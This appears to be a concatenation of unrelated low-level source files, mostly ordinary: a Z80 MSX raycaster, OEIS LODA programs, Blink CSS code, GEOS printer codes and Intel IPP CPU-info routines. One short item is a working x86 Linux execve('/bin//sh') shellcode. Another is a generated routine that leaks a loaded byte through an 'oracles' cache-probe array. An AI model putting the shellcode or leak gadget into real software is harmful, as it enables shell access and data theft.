}
}
if (nDevices == 0)
Serial.println("No I2C devices found\n");
else
Serial.println("done\n");
}
|
;-----------------------------------------------
; Copies the render buffer to video memory
raycast_render_buffer:
ld hl,raycast_use_double_buffer
ld a,(hl)
or a
jp z,raycast_render_buffer_msx1
dec hl ; hl = raycast_double_buffer
ld a,(hl)
or a
; if (raycast_double_buffer) == 0, we need to render on buffer 2 (since we are showing 0 right now)
jp z,raycast_render_buffer_msx2_buffer2
raycast_render_buffer_msx2_buffer1:
; This makes sure the addresses are in the first buffer (in the fisrt 16K of the VRAM)
ld hl,initial_rendering_address+1
res 6,(hl)
ld hl,initial_rendering_address+3
res 6,(hl)
ld hl,initial_rendering_address+5
res 6,(hl)
ld hl,initial_rendering_address+7
res 6,(hl)
jp raycast_render_buffer_buffer_selected
raycast_render_buffer_msx2_buffer2:
; This adds #4000 to the addresses, to be in the second buffer
ld hl,initial_rendering_address+1
set 6,(hl)
ld hl,initial_rendering_address+3
set 6,(hl)
ld hl,initial_rendering_address+5
set 6,(hl)
ld hl,initial_rendering_address+7
set 6,(hl)
raycast_render_buffer_buffer_selected:
ld hl,(initial_rendering_address)
ld de,raycast_buffer
call raycast_render_buffer_copyloop_msx2
ld hl,(initial_rendering_address+2)
ld de,raycast_color_buffer
call raycast_render_color_buffer_copyloop_msx2
ld hl,(initial_rendering_address+4)
ld de,raycast_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
call raycast_render_buffer_copyloop_msx2
ld hl,(initial_rendering_address+6)
ld de,raycast_color_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
call raycast_render_color_buffer_copyloop_msx2
; switch to the right bank after the copy:
ld hl,raycast_double_buffer
ld a,(hl)
or a
jp z,raycast_switch_buffer_msx2_buffer2
raycast_switch_buffer_msx1_buffer1:
dec (hl)
jp selectVDPBuffer1InMSX2
raycast_switch_buffer_msx2_buffer2:
inc (hl)
jp selectVDPBuffer2InMSX2
raycast_render_buffer_msx1:
ld hl,(initial_rendering_address)
ld de,raycast_buffer
call raycast_render_buffer_copyloop_msx1
ld hl,(initial_rendering_address+2)
ld de,raycast_color_buffer
call raycast_render_color_buffer_copyloop_msx1
ld hl,(initial_rendering_address+4)
ld de,raycast_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
call raycast_render_buffer_copyloop_msx1
ld hl,(initial_rendering_address+6)
ld de,raycast_color_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
; jp raycast_render_color_buffer_copyloop_msx1
raycast_render_color_buffer_copyloop_msx1:
push de
call SETWRT
pop hl
ld a,(raycast_floor_texture_color)
ld d,a
jp raycast_render_buffer_copyloop_msx1_entrypoint
raycast_render_buffer_copyloop_msx1:
push de
call SETWRT
pop hl
ld d,0
raycast_render_buffer_copyloop_msx1_entrypoint:
ld a,(VDP.DW)
ld c,a
ld a,(amount_of_bytes_to_render)
raycast_render_buffer_copyloop_msx1_loop1:
; NYYRIKKI:
ld b,128
raycast_render_buffer_copyloop_msx1_loop1_b:
REPT 16
ld e,(hl) ;8
out (c),e ;14 = 27
ld (hl),d ;8
inc l ;5
out (c),e ;14 = 27
dec b ;5
ENDM
jp nz,raycast_render_buffer_copyloop_msx1_loop1_b
dec l
inc hl
dec a
jp nz, raycast_render_buffer_copyloop_msx1_loop1
ret
raycast_render_color_buffer_copyloop_msx2:
push de
call NSTWRT
pop hl
ld a,(raycast_floor_texture_color)
ld d,a
jp raycast_render_buffer_copyloop_msx1_entrypoint
raycast_render_buffer_copyloop_msx2:
push de
call NSTWRT
pop hl
ld d,0
jp raycast_render_buffer_copyloop_msx1_entrypoint
;-----------------------------------------------
; Reset the VRAM to start ray casting
; (this is only called once at game start, so it does not need to be fast):
; - sets the default colors to the ground color
; - sets the name table
; - resets the raycast buffer to all 0s
raycast_reset:
; set colors
ld a,#f0
ld bc,256*8*2
ld hl,CLRTBL2
call FILVRM
xor a
ld bc,256*8*2
ld hl,CHRTBL2
call FILVRM
; set the name table (first clear it to "RAYCAST_BORDER_PATTERN")
IF RAYCAST_SIDE_BORDER > 0
ld c,8
ld b,32
ld hl,raycast_buffer
ld a,RAYCAST_BORDER_PATTERN
raycast_reset_loop1:
ld (hl),a
inc hl
djnz raycast_reset_loop1
dec c
jr nz,raycast_reset_loop1
ENDIF
; now set the names for the area that will be drawn
ld hl,raycast_buffer+RAYCAST_SIDE_BORDER
ld d,0
raycast_reset_loop2:
ld b,32-(RAYCAST_SIDE_BORDER*2)
ld a,d
raycast_reset_loop2_a:
ld (hl),a
inc hl
add a,8
djnz raycast_reset_loop2_a
ld bc,RAYCAST_SIDE_BORDER*2
add hl,bc
inc d
ld a,d
cp 8
jp nz,raycast_reset_loop2
;; reset the top 2 banks:
ld bc,256
ld de,NAMTBL2
ld hl,raycast_buffer
call LDIRVM
ld bc,256
ld de,NAMTBL2+256
ld hl,raycast_buffer
call LDIRVM
ld a,(raycast_use_double_buffer)
or a
jr z, raycast_reset_clear_buffer
xor a
ld bc,256*8*2
ld hl,CHRTBL2_SECONDARY
call BIGFIL
; clear the raycast buffers:
raycast_reset_clear_buffer:
ld bc,(raycast_amount_to_clear)
push bc
ld hl,raycast_buffer
add hl,bc
xor a
call fast_memory_clear
pop bc
push bc
ld hl,raycast_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
add hl,bc
xor a
call fast_memory_clear
pop bc
push bc
ld hl,raycast_color_buffer
add hl,bc
ld a,(raycast_ceiling_texture_color)
call fast_memory_clear
pop bc
ld hl,raycast_color_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
add hl,bc
ld a,(raycast_floor_texture_color)
call fast_memory_clear
raycast_reset_clear_buffer_set_pointers:
; we set the offsets for the first column of rendering:
ld hl,raycast_buffer
ld (raycast_buffer_offset_bank1),hl
ld hl,raycast_buffer+(32-RAYCAST_SIDE_BORDER*2)*4*8
ld (raycast_buffer_offset_bank2),hl
ld a,(raycast_ceiling_type)
or a
ret z
raycast_reset_clear_buffer_render_skybox:
; start tile is (angle/4)%64
; - only draw tiles that fall in positions between: 0 and (raycast_sprite_angle_cutoff)
ld a,(raycast_sprite_angle_cutoff)
add a,12
ld e,a
ld a,(raycast_player_angle)
neg
add a,12*4
and #fc ; a = ((-angle/4)%64)*4
; rendering address is raycast_buffer + a*8
exx
ld h,0
ld l,a
add hl,hl
add hl,hl
add hl,hl
ld bc,raycast_buffer-12*8*4
add hl,bc ; address to start rendering
ex de,hl
ld hl,skybox_buffer
exx
; divide a by 4 to get ((angle/4 + 16)%64)
srl a
srl a
ld d,12 ; width of the skybox
raycast_reset_clear_buffer_render_skybox_column_loop:
cp 12
jp m,raycast_reset_clear_buffer_render_skybox_skip_column
cp e
jp p,raycast_reset_clear_buffer_render_skybox_skip_column
exx
; render a column:
ld bc,16
ldir
ld bc,8*4-16
ex de,hl
add hl,bc
ex de,hl
exx
inc a
dec d
jp nz,raycast_reset_clear_buffer_render_skybox_column_loop
jp raycast_reset_clear_buffer_render_skybox_color
raycast_reset_clear_buffer_render_skybox_skip_column:
exx
ld bc,16
add hl,bc
ld bc,8*4
ex de,hl
add hl,bc
ex de,hl
exx
inc a
dec d
jp nz,raycast_reset_clear_buffer_render_skybox_column_loop
raycast_reset_clear_buffer_render_skybox_color:
exx
ld bc,(raycast_color_buffer-raycast_buffer)-12*8*4
ex de,hl
add hl,bc
ex de,hl
exx
sub 12
ld d,12
raycast_reset_clear_buffer_render_skybox_column_loop_color:
cp 12
jp m,raycast_reset_clear_buffer_render_skybox_skip_column_color
cp e
jp p,raycast_reset_clear_buffer_render_skybox_skip_column_color
exx
; render a column:
ld bc,16
ldir
ld bc,8*4-16
ex de,hl
add hl,bc
ex de,hl
exx
inc a
dec d
jp nz,raycast_reset_clear_buffer_render_skybox_column_loop_color
ret
raycast_reset_clear_buffer_render_skybox_skip_column_color:
exx
ld bc,16
add hl,bc
ld bc,8*4
ex de,hl
add hl,bc
ex de,hl
exx
inc a
dec d
jp nz,raycast_reset_clear_buffer_render_skybox_column_loop_color
ret
;-----------------------------------------------
; creates a table of divisions by 16, which save a few cycles during raycasting
calculate_divide_by16_table:
xor a
ld hl,raycast_divide_by16_table
calculate_divide_by16_table_loop2:
ld b,16
calculate_divide_by16_table_loop1:
ld (hl),a
inc hl
djnz calculate_divide_by16_table_loop1
inc a
cp 16
jp nz,calculate_divide_by16_table_loop2
ret
|
; http://shell-storm.org/shellcode/files/shellcode-841.php
; 21 bytes
global _start
_start:
xor ecx,ecx
mul ecx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80
|
; A162442: Denominators of the column sums of the EG1 matrix coefficients
; Submitted by Jon Maiga
; 2,16,48,512,1280,2048,14336,262144,589824,2621440,5767168,50331648,109051904,469762048,67108864,34359738368,73014444032,103079215104,652835028992,1099511627776,3848290697216,48378511622144
mul $0,2
mov $1,4
mov $3,2
lpb $0
mov $2,$0
sub $2,1
div $2,2
mul $3,$0
sub $0,1
mul $1,2
add $2,2
mul $1,$2
lpe
gcd $3,$1
div $1,$3
mov $0,$1
|
/*
* Copyright (C) 2007, 2008, 2012 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "core/css/CSSKeyframeRule.h"
#include "core/css/CSSKeyframesRule.h"
#include "core/css/parser/BisonCSSParser.h"
#include "core/css/PropertySetCSSStyleDeclaration.h"
#include "core/css/StylePropertySet.h"
#include "core/frame/UseCounter.h"
#include "wtf/text/StringBuilder.h"
namespace blink {
StyleKeyframe::StyleKeyframe()
{
}
StyleKeyframe::~StyleKeyframe()
{
}
String StyleKeyframe::keyText() const
{
if (m_keyText.isNull()) {
// Keys are always set when these objects are created.
ASSERT(m_keys && !m_keys->isEmpty());
StringBuilder keyText;
for (unsigned i = 0; i < m_keys->size(); ++i) {
if (i)
keyText.append(',');
keyText.append(String::number(m_keys->at(i) * 100));
keyText.append('%');
}
m_keyText = keyText.toString();
}
ASSERT(!m_keyText.isNull());
return m_keyText;
}
void StyleKeyframe::setKeyText(const String& keyText)
{
// FIXME: Should we trim whitespace?
// FIXME: Should we leave keyText unchanged when attempting to set to an
// invalid string?
ASSERT(!keyText.isNull());
m_keyText = keyText;
m_keys.clear();
}
const Vector<double>& StyleKeyframe::keys() const
{
if (!m_keys) {
// Keys can only be cleared by setting the key text from JavaScript
// and this can never be null.
ASSERT(!m_keyText.isNull());
m_keys = BisonCSSParser(strictCSSParserContext()).parseKeyframeKeyList(m_keyText);
}
// If an invalid key string was set, m_keys may be empty.
ASSERT(m_keys);
return *m_keys;
}
void StyleKeyframe::setKeys(PassOwnPtr<Vector<double> > keys)
{
ASSERT(keys && !keys->isEmpty());
m_keys = keys;
m_keyText = String();
ASSERT(m_keyText.isNull());
}
MutableStylePropertySet& StyleKeyframe::mutableProperties()
{
if (!m_properties->isMutable())
m_properties = m_properties->mutableCopy();
return *toMutableStylePropertySet(m_properties.get());
}
void StyleKeyframe::setProperties(PassRefPtr<StylePropertySet> properties)
{
ASSERT(properties);
m_properties = properties;
}
String StyleKeyframe::cssText() const
{
StringBuilder result;
result.append(keyText());
result.appendLiteral(" { ");
String decls = m_properties->asText();
result.append(decls);
if (!decls.isEmpty())
result.append(' ');
result.append('}');
return result.toString();
}
PassOwnPtr<Vector<double> > StyleKeyframe::createKeyList(CSSParserValueList* keys)
{
OwnPtr<Vector<double> > keyVector = adoptPtr(new Vector<double>(keys->size()));
for (unsigned i = 0; i < keys->size(); ++i) {
ASSERT(keys->valueAt(i)->unit == blink::CSSPrimitiveValue::CSS_NUMBER);
double key = keys->valueAt(i)->fValue;
if (key < 0 || key > 100) {
// As per http://www.w3.org/TR/css3-animations/#keyframes,
// "If a keyframe selector specifies negative percentage values
// or values higher than 100%, then the keyframe will be ignored."
keyVector->clear();
break;
}
keyVector->at(i) = key / 100;
}
return keyVector.release();
}
CSSKeyframeRule::CSSKeyframeRule(StyleKeyframe* keyframe, CSSKeyframesRule* parent)
: CSSRule(0)
, m_keyframe(keyframe)
{
setParentRule(parent);
}
CSSKeyframeRule::~CSSKeyframeRule()
{
#if !ENABLE(OILPAN)
if (m_propertiesCSSOMWrapper)
m_propertiesCSSOMWrapper->clearParentRule();
#endif
}
CSSStyleDeclaration* CSSKeyframeRule::style() const
{
if (!m_propertiesCSSOMWrapper)
m_propertiesCSSOMWrapper = StyleRuleCSSStyleDeclaration::create(m_keyframe->mutableProperties(), const_cast<CSSKeyframeRule*>(this));
return m_propertiesCSSOMWrapper.get();
}
void CSSKeyframeRule::reattach(StyleRuleBase*)
{
// No need to reattach, the underlying data is shareable on mutation.
ASSERT_NOT_REACHED();
}
} // namespace blink
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Epson 24-pin Print Driver
FILE: epson24ControlCodes.asm
AUTHOR: Dave Durran, 1 March 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/1/90 Initial revision
VM 5/94 DBCS version
DC_ESCRIPTION:
This file contains all the Control Codes for the epson 24-pin
driver.
$Id: epson24PControlCodes.asm,v 1.1 97/04/18 11:53:23 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;*****************************************************************************
;
;CONTROL CODES FOR THE EPSON 24-PIN PRINTERS.....
;
; the first byte is the byte count for the control code.
;
;*****************************************************************************
;__________Job Control______________________________________
pr_codes_ResetPrinter label byte
byte 2,C_ESCAPE,"@"
pr_codes_InitPrinter label byte
byte 13,C_ESCAPE,"O"
byte C_ESCAPE,"6" ;print in 80h to 9fh range.
byte C_ESCAPE,"t",3 ;set kana character table.
byte C_ESCAPE,"U",1 ;set uni-directional
byte C_ESCAPE,"r",0 ;set color to black
pr_codes_InitTextMode label byte
byte 3 ;count
byte C_ESCAPE,"U",0 ;set bi-directional
pr_codes_DefeatPaperOut label byte
byte 2,C_ESCAPE,"8"
pr_codes_SetCountry label byte
byte 2 ;count
byte C_ESCAPE,"R" ;
;__________ASF Control______________________________________
pr_codes_InitPaperLength label byte
byte 4,C_ESCAPE,"C",0,22 ;set page length to max (22")
pr_codes_FormFeed label byte
byte 5
byte C_ESCAPE,"3",3 ;set 3/180" line spacing.
byte C_ESCAPE,"C" ;set page length.
pr_codes_ASFControl label byte
byte 2,C_ESCAPE,C_END_OF_MEDIUM ;argument is function of ASF
pr_codes_EnableASF label byte
byte 3,C_ESCAPE,C_END_OF_MEDIUM,4 ;Enable the ASF
pr_codes_DisableASF label byte
byte 3,C_ESCAPE,C_END_OF_MEDIUM,0 ;Disable the ASF
;__________Cursor Control______________________________________
pr_codes_AbsPos label byte
byte 2,C_ESCAPE,"$"
pr_codes_DoLineFeed label byte
byte 2,C_ESCAPE,"J"
pr_codes_DoMaxLineFeed label byte
byte 3,C_ESCAPE,"J",PR_MAX_LINE_FEED
;__________Graphics Control______________________________________
pr_codes_SetLoGraphics label byte
byte 4,C_CR,C_ESCAPE,"*",0
pr_codes_SetMedGraphics label byte
byte 4,C_CR,C_ESCAPE,"*",39
pr_codes_SetHiGraphics label byte
byte 4,C_CR,C_ESCAPE,"*",40
;__________Pitch Control______________________________________
pr_codes_Set10PitchRoman label byte
byte 10,C_ESCAPE,"k",0,C_ESCAPE,"p",0,C_ESCAPE,"P",C_FIELD_SEP,C_DEVICE_CONTROL_TWO
pr_codes_Set12PitchRoman label byte
byte 10,C_ESCAPE,"k",0,C_ESCAPE,"p",0,C_ESCAPE,"M",C_FIELD_SEP,C_DEVICE_CONTROL_TWO
pr_codes_Set15PitchRoman label byte
byte 10,C_ESCAPE,"k",0,C_ESCAPE,"p",0,C_ESCAPE,"g",C_FIELD_SEP,C_SHIFT_IN
pr_codes_SetProportionalRoman label byte
byte 6,C_ESCAPE,"k",0,C_ESCAPE,"p",1
pr_codes_Set10PitchSans label byte
byte 10,C_ESCAPE,"k",1,C_ESCAPE,"p",0,C_ESCAPE,"P",C_FIELD_SEP,C_DEVICE_CONTROL_TWO
pr_codes_Set12PitchSans label byte
byte 10,C_ESCAPE,"k",1,C_ESCAPE,"p",0,C_ESCAPE,"M",C_FIELD_SEP,C_DEVICE_CONTROL_TWO
pr_codes_Set15PitchSans label byte
byte 10,C_ESCAPE,"k",1,C_ESCAPE,"p",0,C_ESCAPE,"g",C_FIELD_SEP,C_SHIFT_IN
pr_codes_SetProportionalSans label byte
byte 6,C_ESCAPE,"k",1,C_ESCAPE,"p",1
;__________Style Control______________________________________
pr_codes_SetCondensed label byte
byte 1,C_SHIFT_IN
pr_codes_SetSubscript label byte
byte 6,C_ESCAPE,"S",1,C_FIELD_SEP,"r",1
pr_codes_SetSuperscript label byte
byte 6,C_ESCAPE,"S",0,C_FIELD_SEP,"r",0
pr_codes_SetNLQ label byte
byte 6,C_ESCAPE,"x",1,C_FIELD_SEP,"x",0
pr_codes_SetBold label byte
byte 4,C_ESCAPE,"E",C_ESCAPE,"G"
pr_codes_SetItalic label byte
byte 2,C_ESCAPE,"4"
pr_codes_SetUnderline label byte
byte 6,C_ESCAPE,"-",1,C_FIELD_SEP,"-",1
pr_codes_SetDblWidth label byte
byte 3,C_ESCAPE,"W",1
pr_codes_SetDblHeight label byte
byte 3,C_ESCAPE,"w",1
pr_codes_ResetCondensed label byte
byte 1,C_DEVICE_CONTROL_TWO
pr_codes_ResetScript label byte
byte 4,C_ESCAPE,"T",C_FIELD_SEP,C_DEVICE_CONTROL_TWO
pr_codes_ResetNLQ label byte
byte 6,C_ESCAPE,"x",0,C_FIELD_SEP,"x",1
pr_codes_ResetBold label byte
byte 4,C_ESCAPE,"F",C_ESCAPE,"H"
pr_codes_ResetItalic label byte
byte 2,C_ESCAPE,"5"
pr_codes_ResetUnderline label byte
byte 6,C_ESCAPE,"-",0,C_FIELD_SEP,"-",0
pr_codes_ResetDblWidth label byte
byte 3,C_ESCAPE,"W",0
pr_codes_ResetDblHeight label byte
byte 3,C_ESCAPE,"w",0
;__________Color Control______________________________________
pr_codes_SetColor label byte
byte 2,C_ESCAPE,"r"
pr_codes_SetYellow label byte
byte 3,C_ESCAPE,"r",4
pr_codes_SetCyan label byte
byte 3,C_ESCAPE,"r",2
pr_codes_SetMagenta label byte
byte 3,C_ESCAPE,"r",1
pr_codes_SetBlack label byte
byte 3,C_ESCAPE,"r",0
;__________Kanji In/Out_______________________________________
pr_codes_SetKanji label byte
byte 3,C_FIELD_SEP,"&",0
pr_codes_ResetKanji label byte
byte 3,C_FIELD_SEP,".",0
|
//*****************************************************************************
// Copyright 2017-2020 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//*****************************************************************************
#pragma once
#include <pybind11/pybind11.h>
namespace py = pybind11;
void regclass_pyngraph_op_util_IndexReduction(py::module m);
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xef58, %rsi
lea addresses_D_ht+0x1ebf8, %rdi
clflush (%rsi)
nop
nop
nop
nop
cmp %r13, %r13
mov $105, %rcx
rep movsb
nop
nop
mfence
lea addresses_D_ht+0x1ca1c, %r15
clflush (%r15)
sub $62019, %rax
mov (%r15), %rdi
nop
nop
nop
nop
add $27448, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdx
// Store
lea addresses_PSE+0x720c, %rbp
nop
nop
nop
sub $55045, %rdx
mov $0x5152535455565758, %r9
movq %r9, (%rbp)
nop
nop
nop
nop
nop
sub $300, %r9
// Store
lea addresses_WC+0x3218, %rdx
sub $13950, %r13
mov $0x5152535455565758, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
nop
nop
add $4309, %r13
// Faulty Load
lea addresses_US+0xee58, %rdx
nop
nop
nop
and $23948, %rcx
mov (%rdx), %r9
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 48}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A044131: Numbers n such that string 4,5 occurs in the base 6 representation of n but not of n-1.
; Submitted by Jamie Morken(s4)
; 29,65,101,137,173,209,245,281,317,353,389,425,461,497,533,569,605,641,677,713,749,785,821,857,893,929,965,1001,1037,1109,1145,1181,1217,1253,1289,1325,1361,1397,1433,1469,1505,1541,1577,1613,1649,1685,1721,1757
mov $1,$0
div $0,29
add $1,$0
mov $0,$1
mul $0,36
add $0,29
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_FPU_IE
;TEST_FILE_META_END
FLD1
;TEST_BEGIN_RECORDING
lea edi, [esp-0xC]
fistp qword [edi]
mov eax, dword [edi+00]
mov ebx, dword [edi+04]
mov edi, 0x0
;TEST_END_RECORDING
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
.globl _cpGetReg
_cpGetReg:
push %rbx
movslq %esi, %r9
movslq %edx, %r10
mov %rdi, %r11
mov %r9, %rax
mov %r10, %rcx
xor %ebx, %ebx
xor %edx, %edx
cpuid
mov %eax, (%r11)
mov %ebx, (4)(%r11)
mov %ecx, (8)(%r11)
mov %edx, (12)(%r11)
pop %rbx
ret
.p2align 5, 0x90
.globl _cp_is_avx_extension
_cp_is_avx_extension:
push %rbx
mov $(1), %eax
cpuid
xor %eax, %eax
and $(402653184), %ecx
cmp $(402653184), %ecx
jne .Lnot_avxgas_2
xor %ecx, %ecx
.byte 0xf, 0x1, 0xd0
mov %eax, %ecx
xor %eax, %eax
and $(6), %ecx
cmp $(6), %ecx
jne .Lnot_avxgas_2
mov $(1), %eax
.Lnot_avxgas_2:
pop %rbx
ret
.p2align 5, 0x90
.globl _cp_is_avx512_extension
_cp_is_avx512_extension:
push %rbx
mov $(1), %eax
cpuid
xor %eax, %eax
and $(134217728), %ecx
cmp $(134217728), %ecx
jne .Lnot_avx512gas_3
xor %ecx, %ecx
.byte 0xf, 0x1, 0xd0
mov %eax, %ecx
xor %eax, %eax
and $(224), %ecx
cmp $(224), %ecx
jne .Lnot_avx512gas_3
mov $(1), %eax
.Lnot_avx512gas_3:
pop %rbx
ret
.p2align 5, 0x90
.globl _cp_issue_avx512_instruction
_cp_issue_avx512_instruction:
.byte 0x62, 0xf1, 0x7d, 0x48, 0xef, 0xc0
xor %eax, %eax
ret
.p2align 5, 0x90
.globl _ippcpSafeInit
_ippcpSafeInit:
push %rcx
push %rdx
push %rdi
push %rsi
push %r8
push %r9
call _ippcpInit
pop %r9
pop %r8
pop %rsi
pop %rdi
pop %rdx
pop %rcx
ret
.p2align 5, 0x90
.globl _cp_get_pentium_counter
_cp_get_pentium_counter:
rdtsc
sal $(32), %rdx
or %rdx, %rax
ret
.p2align 5, 0x90
.globl _cpStartTscp
_cpStartTscp:
push %rbx
xor %rax, %rax
cpuid
pop %rbx
rdtscp
sal $(32), %rdx
or %rdx, %rax
ret
.p2align 5, 0x90
.globl _cpStopTscp
_cpStopTscp:
rdtscp
sal $(32), %rdx
or %rdx, %rax
push %rax
push %rbx
xor %rax, %rax
cpuid
pop %rbx
pop %rax
ret
.p2align 5, 0x90
.globl _cpStartTsc
_cpStartTsc:
push %rbx
xor %rax, %rax
cpuid
pop %rbx
rdtsc
sal $(32), %rdx
or %rdx, %rax
ret
.p2align 5, 0x90
.globl _cpStopTsc
_cpStopTsc:
rdtsc
sal $(32), %rdx
or %rdx, %rax
push %rax
push %rbx
xor %rax, %rax
cpuid
pop %rbx
pop %rax
ret
.p2align 5, 0x90
.globl _cpGetCacheSize
_cpGetCacheSize:
push %rbx
push %rbp
sub $(24), %rsp
mov %rsp, %rbp
xor %esi, %esi
mov $(2), %eax
cpuid
cmp $(1), %al
jne .LGetCacheSize_11gas_11
test $(2147483648), %eax
jz .LGetCacheSize_00gas_11
xor %eax, %eax
.LGetCacheSize_00gas_11:
test $(2147483648), %ebx
jz .LGetCacheSize_01gas_11
xor %ebx, %ebx
.LGetCacheSize_01gas_11:
test $(2147483648), %ecx
jz .LGetCacheSize_02gas_11
xor %ecx, %ecx
.LGetCacheSize_02gas_11:
test $(2147483648), %edx
jz .LGetCacheSize_03gas_11
xor %edx, %edx
.LGetCacheSize_03gas_11:
test %eax, %eax
jz .LGetCacheSize_04gas_11
mov %eax, (%rbp)
add $(4), %rbp
add $(3), %esi
.LGetCacheSize_04gas_11:
test %ebx, %ebx
jz .LGetCacheSize_05gas_11
mov %ebx, (%rbp)
add $(4), %rbp
add $(4), %esi
.LGetCacheSize_05gas_11:
test %ecx, %ecx
jz .LGetCacheSize_06gas_11
mov %ecx, (%rbp)
add $(4), %rbp
add $(4), %esi
.LGetCacheSize_06gas_11:
test %edx, %edx
jz .LGetCacheSize_07gas_11
mov %edx, (%rbp)
add $(4), %esi
.LGetCacheSize_07gas_11:
test %esi, %esi
jz .LGetCacheSize_11gas_11
mov $(-1), %eax
.LGetCacheSize_08gas_11:
xor %edx, %edx
add (%rdi), %edx
jz .LExitGetCacheSize00gas_11
add $(8), %rdi
mov %esi, %ecx
.LGetCacheSize_09gas_11:
cmpb (%rsp,%rcx), %dl
je .LGetCacheSize_10gas_11
dec %ecx
jnz .LGetCacheSize_09gas_11
jmp .LGetCacheSize_08gas_11
.LGetCacheSize_10gas_11:
